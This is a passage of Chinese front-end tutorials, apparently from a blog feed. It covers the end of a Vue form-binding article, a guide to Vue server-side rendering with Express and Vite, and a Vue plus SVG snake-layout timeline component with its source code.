  @compositionstart="isComposing = true"
  @compositionend="isComposing = false; updateValue($event.target.value)"
>

9.2 深层嵌套对象更新

// 使用 Vue3 Composition API
import { reactive, watch } from 'vue';

export default {
  setup() {
    const form = reactive({
      user: {
        address: {
          city: ''
        }
      }
    });
  
    watch(
      () => form.user.address.city,
      (newVal) => {
        console.log('城市更新:', newVal);
      },
      { deep: true }
    );
  }
}

9.3 第三方组件库集成

// 封装 Element Plus 表单组件
export default {
  props: ['modelValue'],
  emits: ['update:modelValue'],
  computed: {
    value: {
      get() { return this.modelValue; },
      set(val) { this.$emit('update:modelValue', val); }
    }
  }
}

十、未来趋势与展望

  1. 更好的TypeScript支持:增强表单绑定的类型安全
  2. 更强大的组合式API:简化复杂表单逻辑
  3. 无头表单组件:分离UI与逻辑的表单解决方案
  4. AI辅助表单生成:基于需求的智能表单构建

结语

Vue的表单输入绑定系统提供了强大而灵活的工具集。通过本文的系统学习,您应该掌握:

  1. v-model的核心原理和各种表单元素的绑定方式
  2. Vue2和Vue3在表单处理上的关键差异
  3. 企业级表单解决方案的设计与实现
  4. 表单性能优化和测试策略

无论您正在构建简单的联系表单还是复杂的企业级应用,Vue的表单绑定系统都能提供高效、可维护的解决方案。随着Vue生态的不断发展,表单处理将变得更加高效和强大。

Vue SSR 深度解析:从原理到实践的完整指南

🌟 前言

在现代前端开发中,单页应用(SPA)虽然提供了流畅的用户体验,但也带来了一些问题:首屏加载慢、SEO 不友好、对搜索引擎爬虫不够友好等。而服务端渲染(SSR)技术的出现,完美地解决了这些痛点。

今天,我们就来深入探讨服务端渲染技术,从基础概念到核心原理,再到实际应用,带你全面了解 SSR 的魅力。并实现一个原生的Vue SSR项目。

🤔 什么是 SSR?

传统 CSR vs SSR

客户端渲染(CSR - Client Side Rendering)

浏览器请求 → 返回空白HTML → 下载JS → 执行JS → 渲染页面

服务端渲染(SSR - Server Side Rendering)

浏览器请求 → 服务器渲染HTML → 返回完整HTML → 客户端激活

SSR 的核心优势

  1. 更快的首屏加载:用户能立即看到完整的页面内容
  2. 更好的 SEO:搜索引擎能够直接抓取到完整的 HTML 内容
  3. 更好的移动端体验:减少了客户端的计算压力
  4. 更好的可访问性:即使 JavaScript 被禁用,页面依然可用

🏗️ Vue SSR 的核心架构

同构应用的概念

Vue SSR 采用的是"同构应用"架构,即同一套代码既能在服务端运行,也能在客户端运行:

源代码
├── 服务端入口 (entry-server.ts)
├── 客户端入口 (entry-client.ts)
└── 通用应用代码 (main.ts)

双端入口设计

1. 通用应用入口 (main.ts)

import { createSSRApp } from 'vue'
import { createPinia } from 'pinia'
import { createRouter } from './router'
import App from './App.vue'

export function createApp() {
  const app = createSSRApp(App)  // 注意:使用 createSSRApp
  const pinia = createPinia()
  const router = createRouter()

  app.use(pinia)
  app.use(router)

  return { app, router, pinia }
}

关键点

  • 使用 createSSRApp 而不是 createApp
  • 每次请求都创建新的应用实例,避免状态污染
  • 返回应用实例及其依赖,供双端使用

2. 服务端入口 (entry-server.ts)

// entry-server.ts
import { renderToString } from 'vue/server-renderer'
import { createApp } from './main'

export async function render({ url, manifest, request, response }) {
  const { app, router, pinia } = createApp()

  // 设置服务端路由
  await router.push(url)
  await router.isReady()

  // 渲染应用为 HTML 字符串
  const html = await renderToString(app)

  // 序列化状态,传递给客户端
  const state = JSON.stringify(pinia.state.value)

  return {
    html,
    state,
    meta: {
      title: '页面标题',
      description: '页面描述'
    }
  }
}

核心流程

  1. 创建应用实例
  2. 设置路由状态
  3. 等待异步组件和数据加载
  4. 渲染为 HTML 字符串
  5. 序列化应用状态

3. 客户端入口 (entry-client.ts)

// enter-client.s
import { createApp } from './main'

const { app, router, pinia } = createApp()

// 恢复服务端状态
if (window.__INITIAL_STATE__) {
  pinia.state.value = window.__INITIAL_STATE__
}

// 等待路由准备就绪后挂载应用
router.isReady().then(() => {
  app.mount('#app')  // 激活静态 HTML
})

核心流程

  1. 创建应用实例
  2. 恢复服务端传递的状态
  3. 等待路由准备
  4. 激活(hydrate)静态 HTML

🔄 数据预取:SSR 的核心挑战

问题的本质

在传统的客户端应用中,我们可以在组件挂载后再去获取数据:

<script setup>
import { onMounted, ref } from 'vue'

const data = ref(null)

// 客户端:组件挂载后获取数据
onMounted(async () => {
  data.value = await fetchData()
})
</script>

但在 SSR 中,我们需要在服务端渲染前就获取到数据,这就带来了挑战:

  • 何时获取数据?
  • 如何将数据传递给客户端?
  • 如何避免客户端重复请求?

解决方案:useAsyncData Hook

export function useAsyncData<T>(
  key: string, 
  handler: () => Promise<T>, 
  options?: AsyncDataOptions
) {
  const data = ref(null)
  const pending = ref(false)
  const store = usePrefetchStore()

  // 服务端预取
  onServerPrefetch(async () => {
    const result = await handler()
    store.data[key] = result  // 存储到全局状态
    data.value = result
  })

  // 客户端激活
  onBeforeMount(() => {
    if (store.data[key]) {
      // 使用服务端预取的数据
      data.value = store.data[key]
    } else {
      // 服务端没有数据,客户端重新获取
      refresh()
    }
  })

  const refresh = async () => {
    pending.value = true
    data.value = await handler()
    pending.value = false
  }

  return { data, pending, refresh }
}

实际使用示例

<script setup>
import { useAsyncData } from '@/hooks/async-data'
import { $fetch } from '@/utils/fetch'

// 获取用户信息
const { data: userInfo, pending } = useAsyncData(
  'user-info',
  () => $fetch('/api/user')
)

// 获取文章列表
const { data: articles } = useAsyncData(
  'articles',
  () => $fetch('/api/articles')
)
</script>

<template>
  <div>
    <div v-if="pending">加载中...</div>
    <div v-else>
      <h1>欢迎,{{ userInfo?.name }}</h1>
      <article v-for="article in articles" :key="article.id">
        <h2>{{ article.title }}</h2>
        <p>{{ article.summary }}</p>
      </article>
    </div>
  </div>
</template>

🖥️ 服务器配置:Express + Vite

开发环境配置

import express from 'express'
import { createServer } from 'vite'

const app = express()

// 创建 Vite 开发服务器
const vite = await createServer({
  server: { middlewareMode: true },
  appType: 'custom'
})

// 使用 Vite 中间件
app.use(vite.middlewares)

app.use('*', async (req, res) => {
  const url = req.originalUrl
  
  // 获取 HTML 模板
  let template = await readFile('./index.html', 'utf-8')
  template = await vite.transformIndexHtml(url, template)
  
  // 加载服务端入口
  const { render } = await vite.ssrLoadModule('/src/entry-server.ts')
  
  // 渲染页面
  const { html, state, meta } = await render({ url })
  
  // 注入内容
  const finalHtml = template
    .replace('{{%html%}}', html)
    .replace('{{%state%}}', state)
    .replace('{{%title%}}', meta.title)
  
  res.set({ 'Content-Type': 'text/html' }).end(finalHtml)
})

生产环境配置

// 生产环境:使用预构建的文件
app.use('/assets', express.static('dist/client/assets'))

app.use('*', async (req, res) => {
  // 读取预构建的模板
  const template = await readFile('dist/client/index.html', 'utf-8')
  
  // 导入预构建的服务端入口
  const { render } = await import('./dist/server/entry-server.js')
  
  // 读取资源清单
  const manifest = JSON.parse(
    await readFile('dist/client/.vite/ssr-manifest.json', 'utf-8')
  )
  
  const { html, state, preload } = await render({ url, manifest })
  
  const finalHtml = template
    .replace('{{%html%}}', html)
    .replace('{{%state%}}', state)
    .replace('{{%:=preload%}}', preload)  // 预加载资源
  
  res.end(finalHtml)
})

⚡ 性能优化策略

1. 资源预加载

// 生成预加载链接
function renderPreloadLinks(modules: string[], manifest: Record<string, string[]>) {
  let links = ''
  
  modules.forEach((id) => {
    const files = manifest[id]
    if (files) {
      files.forEach((file) => {
        if (file.endsWith('.js')) {
          links += `<link rel="modulepreload" crossorigin href="${file}">`
        } else if (file.endsWith('.css')) {
          links += `<link rel="stylesheet" href="${file}">`
        }
      })
    }
  })
  
  return links
}

🔮 未来展望

Vue SSR 技术还在不断发展,未来可能的方向包括:

  1. 边缘计算:在 CDN 边缘节点进行 SSR
  2. 流式渲染:逐步渲染页面内容
  3. 增量静态生成:结合 SSG 的优势
  4. 更好的开发工具:更完善的调试和性能分析工具

📝 总结

SSR 虽然增加了一定的复杂性,但它带来的性能提升和 SEO 优化效果是显著的。通过合理的架构设计和优化策略,我们可以构建出既快速又对搜索引擎友好的现代 Web 应用。

掌握 SSR 不仅能提升应用性能,更能让我们深入理解现代前端架构的精髓。希望这篇文章能帮助你更好地理解和应用 SSR 技术。


💡 快速开始:如果你想快速体验 Vue SSR 开发,推荐使用 create-vue-ssr 脚手架工具:

# 一键创建 Vue SSR 项目
npm create vue-ssr
cd my-ssr-app
npm install
npm run dev

📦 相关链接

🎯 用 Vue + SVG 实现一个「蛇形时间轴」组件,打造高颜值事件流程图

🎯 用 Vue + SVG 实现一个「蛇形时间轴」组件,打造高颜值事件流程图

在数据可视化或大屏项目中,我们常常需要展示一系列的事件流程,比如飞行轨迹、操作日志、任务执行顺序等。本文将带你一步步实现一个基于 Vue + SVG蛇形排列时间轴组件,支持动态数据渲染、自适应布局与美观样式。

📌 效果预览

先来看一下最终效果(简化描述):

  • 每行最多显示 5 个节点;
  • 偶数行从左往右排布,奇数行从右往左,形成“蛇形”布局;
  • 节点之间用带箭头的线段连接;
  • 每个节点包含时间和标签信息;
  • 样式美观,适配深色背景大屏风格。

image.png


🧩 组件结构概览

这是一个标准的 Vue 单文件组件(SFC),由以下几个部分组成:

✅ <template> 部分

使用 SVG 渲染图形元素:

  • 箭头定义(<marker>
  • 连线(<line>
  • 节点圆点(<circle>
  • 时间文本(<text>
  • 标签文本(<text>

📊 <script> 部分

  • 定义了原始事件数据 dataList

  • 设置每行最大节点数 maxPerRow

  • 使用计算属性动态生成:

    • 节点坐标(蛇形排列)
    • 连线路径(两端缩进避免重叠)
    • SVG 宽高(根据数据长度自动调整)

🎨 <style scoped> 部分

  • 使用背景图片和文字渐变效果打造科技感外观;
  • 标题栏使用 -webkit-background-clip: text 技术实现渐变文字。

🔍 关键技术点详解

1️⃣ 蛇形布局算法

深色版本
const row = Math.floor(idx / this.maxPerRow)
const col = idx % this.maxPerRow
if (row % 2 === 0) {
  x = leftMargin + col * this.nodeGapX
} else {
  x = leftMargin + (this.maxPerRow - 1 - col) * this.nodeGapX
}

通过判断当前是偶数行还是奇数行,控制节点的排列方向,实现蛇形布局。


2️⃣ 动态连线绘制

使用向量数学方法计算两点之间的连线,并在两端留出一定间隙,避免覆盖节点:

深色版本
const dx = x2 - x1
const dy = y2 - y1
const len = Math.sqrt(dx * dx + dy * dy)
const ratioStart = gap / len
const ratioEnd = (len - gap) / len

3️⃣ SVG 自适应宽高

深色版本
svgWidth() {
  return this.maxPerRow * this.nodeGapX + 100
},
svgHeight() {
  return Math.ceil(this.dataList.length / this.maxPerRow) * this.nodeGapY + 40
}

根据数据长度和每行节点数,自动计算 SVG 容器尺寸。

💡 可扩展性建议

虽然该组件已经能很好地满足基础需求,但还可以进一步增强功能和灵活性:

功能 实现方式
✅ 支持点击事件 给 <circle> 添加 @click 事件
🎨 主题定制 将颜色提取为 props 或 CSS 变量
📱 响应式适配 使用百分比宽度或监听窗口变化
🎥 动画过渡 添加 SVG 动画或 Vue transition

📦 如何复用这个组件?

你可以将它封装成一个通用组件,接收如下 props:

深色版本
props: {
  dataList: { type: Array, required: true },
  maxPerRow: { type: Number, default: 5 },
  nodeGapX: { type: Number, default: 200 },
  nodeGapY: { type: Number, default: 100 },
  themeColor: { type: String, default: '#fff' }
}

这样就可以在多个页面中复用,只需传入不同的事件数据即可。

🧠 源码(示例)

  <div class="container">
    <div class="svg-timeline">
      <div class="title">
        事件流程
      </div>
      <svg :width="svgWidth" :height="svgHeight">
        <!-- 连线 -->
        <line
          v-for="(line, idx) in lines"
          :key="'line' + idx"
          :x1="line.x1"
          :y1="line.y1"
          :x2="line.x2"
          :y2="line.y2"
          stroke="#fff"
          stroke-width="2"
          marker-end="url(#arrow)"
        />
        <!-- 箭头定义 -->
        <defs>
          <marker
            id="arrow"
            markerWidth="6"
            markerHeight="6"
            refX="6"
            refY="3"
            orient="auto"
            markerUnits="strokeWidth"
          >
            <path d="M0,0 L6,3 L0,6" fill="#fff" />
          </marker>
        </defs>
        <!-- 节点 -->
        <circle
          v-for="(node, idx) in nodes.slice(0, nodes.length - 1)"
          :key="'circle' + idx"
          :cx="node.x"
          :cy="node.y"
          r="4"
          fill="#fff"
          stroke="#fff"
        />
        <text
          v-for="(node, idx) in nodes"
          :key="'time' + idx"
          :x="node.x + 10"
          :y="node.y + 30"
          text-anchor="start"
          fill="#fff"
          font-size="14"
        >
          {{ node.time }}
        </text>
        <text
          v-for="(node, idx) in nodes"
          :key="'label' + idx"
          :x="node.x + 10"
          :y="node.y + 55"
          text-anchor="start"
          fill="#00eaff"
          font-size="16"
          font-weight="bold"
        >
          {{ node.label }}
        </text>
      </svg>
    </div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      dataList: [
        { time: '2025-07-08 14:20', label: '起飞' },
        { time: '2025-07-08 14:22', label: '转弯' },
        { time: '2025-07-08 14:25', label: '发现问题' },
        { time: '2025-07-08 14:27', label: '飞行' },
        { time: '2025-07-08 14:29', label: '飞行' },
        { time: '2025-07-08 14:31', label: '飞行' },
        { time: '2025-07-08 14:33', label: '转弯' },
        { time: '2025-07-08 14:35', label: '飞行' },
        { time: '2025-07-08 14:37', label: '降落' },
        { time: '2025-07-08 14:39', label: '降落' },
        { time: '2025-07-08 14:41', label: '返航' }
      ],
      maxPerRow: 5,
      nodeGapX: 200,
      nodeGapY: 100
    }
  },
  computed: {
    nodes() {
      // 计算每个节点的坐标(蛇形)
      return this.dataList.map((item, idx) => {
        const row = Math.floor(idx / this.maxPerRow)
        const col = idx % this.maxPerRow
        let x, y
        const leftMargin = 50 // 你可以自定义这个值

        if (row % 2 === 0) {
          x = leftMargin + col * this.nodeGapX
        } else {
          x = leftMargin + (this.maxPerRow - 1 - col) * this.nodeGapX
        }
        // 节点纵坐标起始值
        y = 60 + row * this.nodeGapY
        return { ...item, x, y }
      })
    },
    lines() {
      const arr = []
      const gap = 10 // 间隔长度
      for (let i = 0; i < this.nodes.length - 1; i++) {
        const x1 = this.nodes[i].x
        const y1 = this.nodes[i].y
        const x2 = this.nodes[i + 1].x
        const y2 = this.nodes[i + 1].y
        const dx = x2 - x1
        const dy = y2 - y1
        const len = Math.sqrt(dx * dx + dy * dy)
        // 计算起点和终点都缩进 gap
        const ratioStart = gap / len
        const ratioEnd = (len - gap) / len
        const sx = x1 + dx * ratioStart
        const sy = y1 + dy * ratioStart
        const tx = x1 + dx * ratioEnd
        const ty = y1 + dy * ratioEnd
        arr.push({
          x1: sx,
          y1: sy,
          x2: tx,
          y2: ty
        })
      }
      return arr
    },
    svgWidth() {
      return this.maxPerRow * this.nodeGapX + 100
    },
    svgHeight() {
      // SVG高度
      return Math.ceil(this.dataList.length / this.maxPerRow) * this.nodeGapY + 40
    }
  }
}
</script>

<style scoped>
.container {
  width: 100%;
  height: 100%;
  background: url('~@/assets/images/chat/backs.png') no-repeat;
  display: flex;
  justify-content: center;
  align-items: center;
}
.svg-timeline {
  width: 843px;
  background-size: 100% 100%;
  position: relative;
  .title {
    position: absolute;
    top: 0;
    left: 32px;
    width: 100%;
    height: 100%;
    font-family: YouSheBiaoTiHei;
    font-size: 16px;
    color: #ffffff;
    line-height: 24px;
    background: linear-gradient(90deg, #ffffff 0%, #79c2ff 100%);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    display: flex;
    align-items: center;
    height: 40px;
    img {
      width: 12px;
      height: 24px;
    }
  }
}
</style>

📢 结语

如果你觉得这篇文章对你有帮助,欢迎点赞、收藏并分享给更多需要的朋友。也欢迎关注我,后续将持续分享前端可视化、Vue 高阶组件、大屏设计等相关内容!

❌